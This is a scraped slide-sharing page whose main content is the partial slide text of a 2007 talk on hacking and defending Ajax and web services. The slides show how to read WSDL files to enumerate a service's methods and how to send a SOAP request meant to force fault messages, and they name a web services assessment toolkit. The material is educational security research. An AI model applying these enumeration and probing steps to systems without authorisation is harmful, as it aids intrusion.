Web Services (SOAP, WSDL, UDDI)
Web Services (SOAP, WSDL, UDDI)Web Services (SOAP, WSDL, UDDI)
Web Services (SOAP, WSDL, UDDI)Peter R. Egli
 
Ajax ppt - 32 slides
Ajax ppt - 32 slidesAjax ppt - 32 slides
Ajax ppt - 32 slidesSmithss25
 
Web Services PHP Tutorial
Web Services PHP TutorialWeb Services PHP Tutorial
Web Services PHP TutorialLorna Mitchell
 
How to make Ajax work for you
How to make Ajax work for youHow to make Ajax work for you
How to make Ajax work for youSimon Willison
 
Testing web services
Testing web servicesTesting web services
Testing web servicesTaras Lytvyn
 
Messaging for IoT
Messaging for IoTMessaging for IoT
Messaging for IoTdejanb
 
Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...
Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...
Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...Emakina
 
Ataque DNS spoofing con Kali Linux
Ataque DNS spoofing con Kali LinuxAtaque DNS spoofing con Kali Linux
Ataque DNS spoofing con Kali LinuxCarlos Otero
 
RESTful services and OAUTH protocol in IoT
RESTful services and OAUTH protocol in IoTRESTful services and OAUTH protocol in IoT
RESTful services and OAUTH protocol in IoTYakov Fain
 
M2M Protocol Interoperability using IoT Toolkit
M2M Protocol Interoperability using IoT ToolkitM2M Protocol Interoperability using IoT Toolkit
M2M Protocol Interoperability using IoT ToolkitMichael Koster
 
Ajax Introduction Presentation
Ajax   Introduction   PresentationAjax   Introduction   Presentation
Ajax Introduction Presentationthinkphp
 
Iot Toolkit and the Smart Object API - Architecture for Interoperability
Iot Toolkit and the Smart Object API - Architecture for InteroperabilityIot Toolkit and the Smart Object API - Architecture for Interoperability
Iot Toolkit and the Smart Object API - Architecture for InteroperabilityMichael Koster
 
Web Services - A brief overview
Web Services -  A brief overviewWeb Services -  A brief overview
Web Services - A brief overviewRaveendra Bhat
 
An Introduction to Ajax Programming
An Introduction to Ajax ProgrammingAn Introduction to Ajax Programming
An Introduction to Ajax Programminghchen1
 
Web services - A Practical Approach
Web services - A Practical ApproachWeb services - A Practical Approach
Web services - A Practical ApproachMadhaiyan Muthu
 

En vedette (20)

Java Web Services
Java Web ServicesJava Web Services
Java Web Services
 
Java Web Services [4/5]: Java API for XML Web Services
Java Web Services [4/5]: Java API for XML Web ServicesJava Web Services [4/5]: Java API for XML Web Services
Java Web Services [4/5]: Java API for XML Web Services
 
Restful Web Services
Restful Web ServicesRestful Web Services
Restful Web Services
 
Web Services (SOAP, WSDL, UDDI)
Web Services (SOAP, WSDL, UDDI)Web Services (SOAP, WSDL, UDDI)
Web Services (SOAP, WSDL, UDDI)
 
Ajax ppt - 32 slides
Ajax ppt - 32 slidesAjax ppt - 32 slides
Ajax ppt - 32 slides
 
Web Services PHP Tutorial
Web Services PHP TutorialWeb Services PHP Tutorial
Web Services PHP Tutorial
 
How to make Ajax work for you
How to make Ajax work for youHow to make Ajax work for you
How to make Ajax work for you
 
Testing web services
Testing web servicesTesting web services
Testing web services
 
Messaging for IoT
Messaging for IoTMessaging for IoT
Messaging for IoT
 
Messaging for IoT
Messaging for IoTMessaging for IoT
Messaging for IoT
 
Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...
Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...
Emakina Academy 4 - AJAX, Flash & Rich Internet Applications: harnessing the ...
 
Ataque DNS spoofing con Kali Linux
Ataque DNS spoofing con Kali LinuxAtaque DNS spoofing con Kali Linux
Ataque DNS spoofing con Kali Linux
 
RESTful services and OAUTH protocol in IoT
RESTful services and OAUTH protocol in IoTRESTful services and OAUTH protocol in IoT
RESTful services and OAUTH protocol in IoT
 
Protocols for IoT
Protocols for IoTProtocols for IoT
Protocols for IoT
 
M2M Protocol Interoperability using IoT Toolkit
M2M Protocol Interoperability using IoT ToolkitM2M Protocol Interoperability using IoT Toolkit
M2M Protocol Interoperability using IoT Toolkit
 
Ajax Introduction Presentation
Ajax   Introduction   PresentationAjax   Introduction   Presentation
Ajax Introduction Presentation
 
Iot Toolkit and the Smart Object API - Architecture for Interoperability
Iot Toolkit and the Smart Object API - Architecture for InteroperabilityIot Toolkit and the Smart Object API - Architecture for Interoperability
Iot Toolkit and the Smart Object API - Architecture for Interoperability
 
Web Services - A brief overview
Web Services -  A brief overviewWeb Services -  A brief overview
Web Services - A brief overview
 
An Introduction to Ajax Programming
An Introduction to Ajax ProgrammingAn Introduction to Ajax Programming
An Introduction to Ajax Programming
 
Web services - A Practical Approach
Web services - A Practical ApproachWeb services - A Practical Approach
Web services - A Practical Approach
 

Similaire à Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai]

Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007ClubHack
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2guest66dc5f
 
AJAX: How to Divert Threats
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert ThreatsCenzic
 
AppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services HackingAppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services HackingShreeraj Shah
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesMarco Morana
 
Security in the cloud protecting your cloud apps
Security in the cloud   protecting your cloud appsSecurity in the cloud   protecting your cloud apps
Security in the cloud protecting your cloud appsCenzic
 
Web 2.0 Hacking
Web 2.0 HackingWeb 2.0 Hacking
Web 2.0 Hackingblake101
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Shreeraj Shah
 
Application Security Workshop
Application Security Workshop Application Security Workshop
Application Security Workshop Priyanka Aash
 
A Validation Model of Data Input for Web Services
A Validation Model of Data Input for Web ServicesA Validation Model of Data Input for Web Services
A Validation Model of Data Input for Web ServicesRafael Brinhosa
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmersrobin_bene
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software Shreeraj Shah
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 

Similaire à Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai] (20)

Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2
 
AJAX: How to Divert Threats
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert Threats
 
AppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services HackingAppSec 2007 - .NET Web Services Hacking
AppSec 2007 - .NET Web Services Hacking
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
 
Security in the cloud protecting your cloud apps
Security in the cloud   protecting your cloud appsSecurity in the cloud   protecting your cloud apps
Security in the cloud protecting your cloud apps
 
Web 2.0 Hacking
Web 2.0 HackingWeb 2.0 Hacking
Web 2.0 Hacking
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
Application Security Workshop
Application Security Workshop Application Security Workshop
Application Security Workshop
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
A Validation Model of Data Input for Web Services
A Validation Model of Data Input for Web ServicesA Validation Model of Data Input for Web Services
A Validation Model of Data Input for Web Services
 
Day8
Day8Day8
Day8
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
WebSec_MSR.ppt
WebSec_MSR.pptWebSec_MSR.ppt
WebSec_MSR.ppt
 

Plus de Shreeraj Shah

Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectorsShreeraj Shah
 
XSS and CSRF with HTML5
XSS and CSRF with HTML5XSS and CSRF with HTML5
XSS and CSRF with HTML5Shreeraj Shah
 
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYFIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYShreeraj Shah
 
Top 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperTop 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperShreeraj Shah
 
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsHTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsShreeraj Shah
 
Blackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browserBlackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browserShreeraj Shah
 
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Shreeraj Shah
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoShreeraj Shah
 
[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web
[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web [Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web
[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web Shreeraj Shah
 
[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...
[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...
[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...Shreeraj Shah
 
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the RiseHacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the RiseShreeraj Shah
 
Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)Shreeraj Shah
 
Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)Shreeraj Shah
 
Web Services Security Chess (RSA)
Web Services Security Chess (RSA)Web Services Security Chess (RSA)
Web Services Security Chess (RSA)Shreeraj Shah
 
Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)Shreeraj Shah
 
Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)Shreeraj Shah
 

Plus de Shreeraj Shah (16)

Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
 
XSS and CSRF with HTML5
XSS and CSRF with HTML5XSS and CSRF with HTML5
XSS and CSRF with HTML5
 
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYFIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
 
Top 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperTop 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - Whitepaper
 
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsHTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
 
Blackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browserBlackhat11 shreeraj reverse_engineering_browser
Blackhat11 shreeraj reverse_engineering_browser
 
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat Preso
 
[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web
[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web [Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web
[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web
 
[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...
[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...
[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Prac...
 
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the RiseHacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise
 
Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)Hacking and Securing .NET Apps (Infosecworld)
Hacking and Securing .NET Apps (Infosecworld)
 
Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)Web Application Kung-Fu, Art of Defense (Bellua/HITB)
Web Application Kung-Fu, Art of Defense (Bellua/HITB)
 
Web Services Security Chess (RSA)
Web Services Security Chess (RSA)Web Services Security Chess (RSA)
Web Services Security Chess (RSA)
 
Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)Advanced Web Hacking (EUSecWest 06)
Advanced Web Hacking (EUSecWest 06)
 
Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)Advanced Web Services Hacking (AusCERT 06)
Advanced Web Services Hacking (AusCERT 06)
 

Dernier

SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfSeasiaInfotech2
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embeddingZilliz
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 

Dernier (20)

SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdf
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embedding
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 

Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai]

  • 1. Web 2.0 Hacking Defending Ajax & Web Services Shreeraj Shah Dubai, HITB 2007 5 th April 2007
  • 2.
  • 3.
  • 4.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10. Web 2.0 Architecture HTML / JS / DOM RIA (Flash) Ajax Browser Internet Blog Web 2.0 Start Database Authentication Application Infrastructure Web Services End point Internet Mails News Documents Weather Bank/Trade RSS feeds
  • 11. Ajax Flash / RIA HTML/CSS JavaScript Widget DOM SOAP XML-RPC HTTP/HTTPS JSON XML RSS/ATOM Text JS-Objects Custom SOA/WOA SaaS Web Services Ajax Traditional APIs REST Client Layer Protocol Layer Structure Layer Server Layer Web 2.0 Components
  • 12. Technologies Web Server Static pages HTML,HTM etc.. Web Client Scripted Web Engine Dynamic pages ASP DHTML, PHP,CGI Etc.. DB X ASP.NET with .Net J2EE App Server Web Services Etc.. Application Servers And Integrated Framework Internet DMZ Trusted Internal/Corporate W E B S E R V I C E S Web Service Client SOAP, REST, XML-RPC
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43. Transport Stack HTTP, HTTPS Access Stack WSDL,SOAP Discovery Stack UDDI, DISCO Security Stack WS-Security Presentation Stack XML Web services stack
  • 44. Web Services Client HTTP POST SOAP Envelope Web Server 80/443 Web Services Engine Web Services Binaries Web Services Deployment Shell Web Services Code & Components User Controlled Vendor Controlled In Transit End Client Security!
  • 45. Assessment strategies Web Services Risk Model Web Services Defense Controls Blackbox Assessment Whitebox Assessment
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51. wsches (Tool) Footprinting Discovery Public domain search Enumeration Manual Audit Auto Audit Defense wsFootprint wsDiscovery wsSearch wsEnum wsProxy wsAudit wsMod wsPawn wsKnight wsRook Download : http://net-square.com/wschess/
  • 52.
  • 53.
  • 54.
  • 55.
  • 56. tModel Structure bindingTemplate Structure businessService Structure businessEntity Structure Find UDDI APIs UDDI Demo
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63. Demo Application Web Services Location of WSDL
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69. Nodes of WSDL Data types Message Types Operations Access Binding Service
  • 70. WSDL <Service> <service name=&quot;dvds4less&quot;> <port name=&quot;dvds4lessSoap&quot; binding=&quot;s0:dvds4lessSoap&quot;> <soap:address location=&quot;http://192.168.11.2/ws/dvds4less.asmx&quot;/> </port> </service> Where the call is going to hit? It is where service is listening.
  • 71. WSDL <portType> <portType name=&quot;dvds4lessSoap&quot;> <operation name=&quot;Intro&quot;> <input message=&quot;s0:IntroSoapIn&quot;/> <output message=&quot;s0:IntroSoapOut&quot;/> </operation> <operation name=&quot;getProductInfo&quot;> <input message=&quot;s0:getProductInfoSoapIn&quot;/> <output message=&quot;s0:getProductInfoSoapOut&quot;/> </operation> <operation name=&quot;getRebatesInfo&quot;> <input message=&quot;s0:getRebatesInfoSoapIn&quot;/> <output message=&quot;s0:getRebatesInfoSoapOut&quot;/> </operation> </portType> Methods one Can call
  • 72. WSDL <Message> <portType name=&quot;dvds4lessSoap&quot;> <operation name=&quot;getProductInfo&quot;> <input message=&quot;s0:getProductInfoSoapIn&quot;/> <output message=&quot;s0:getProductInfoSoapOut&quot;/> </operation> </portType> <message name=&quot; getProductInfoSoapIn &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfo&quot;/> </message> <message name=&quot; getProductInfoSoapOut &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfoResponse&quot;/> </message>
  • 73. WSDL <Types> <s:element name=&quot;getProductInfo&quot;> <s:complexType> <s:sequence> <s:element minOccurs=&quot;0&quot; maxOccurs=&quot;1&quot; name=&quot;id&quot; type=&quot;s:string&quot; /> </s:sequence> </s:complexType> </s:element> <s:element name=&quot;getProductInfoResponse&quot;> <s:complexType> <s:sequence> <s:element minOccurs=&quot;0&quot; maxOccurs=&quot;1&quot; name=&quot;getProductInfoResult&quot; type=&quot;s:string&quot; /> <message name=&quot; getProductInfoSoapIn &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfo&quot;/> </message> <message name=&quot; getProductInfoSoapOut &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfoResponse&quot;/> </message>
  • 74. WSDL Profile after Scan Demo String String getRebatesInfo String String getProductInfo String -No- Intro OUTPUT INPUT Methods
  • 75. How it looks? Web Services Code OR Class Intro getProductInfo getRebatesInfo WSDL <PortType> <Service> <Message> <Types> Remote Invokes
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfo xmlns=&quot;http://tempuri.org/&quot;> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method Demo Forcing Fault Code Source of Enumeration
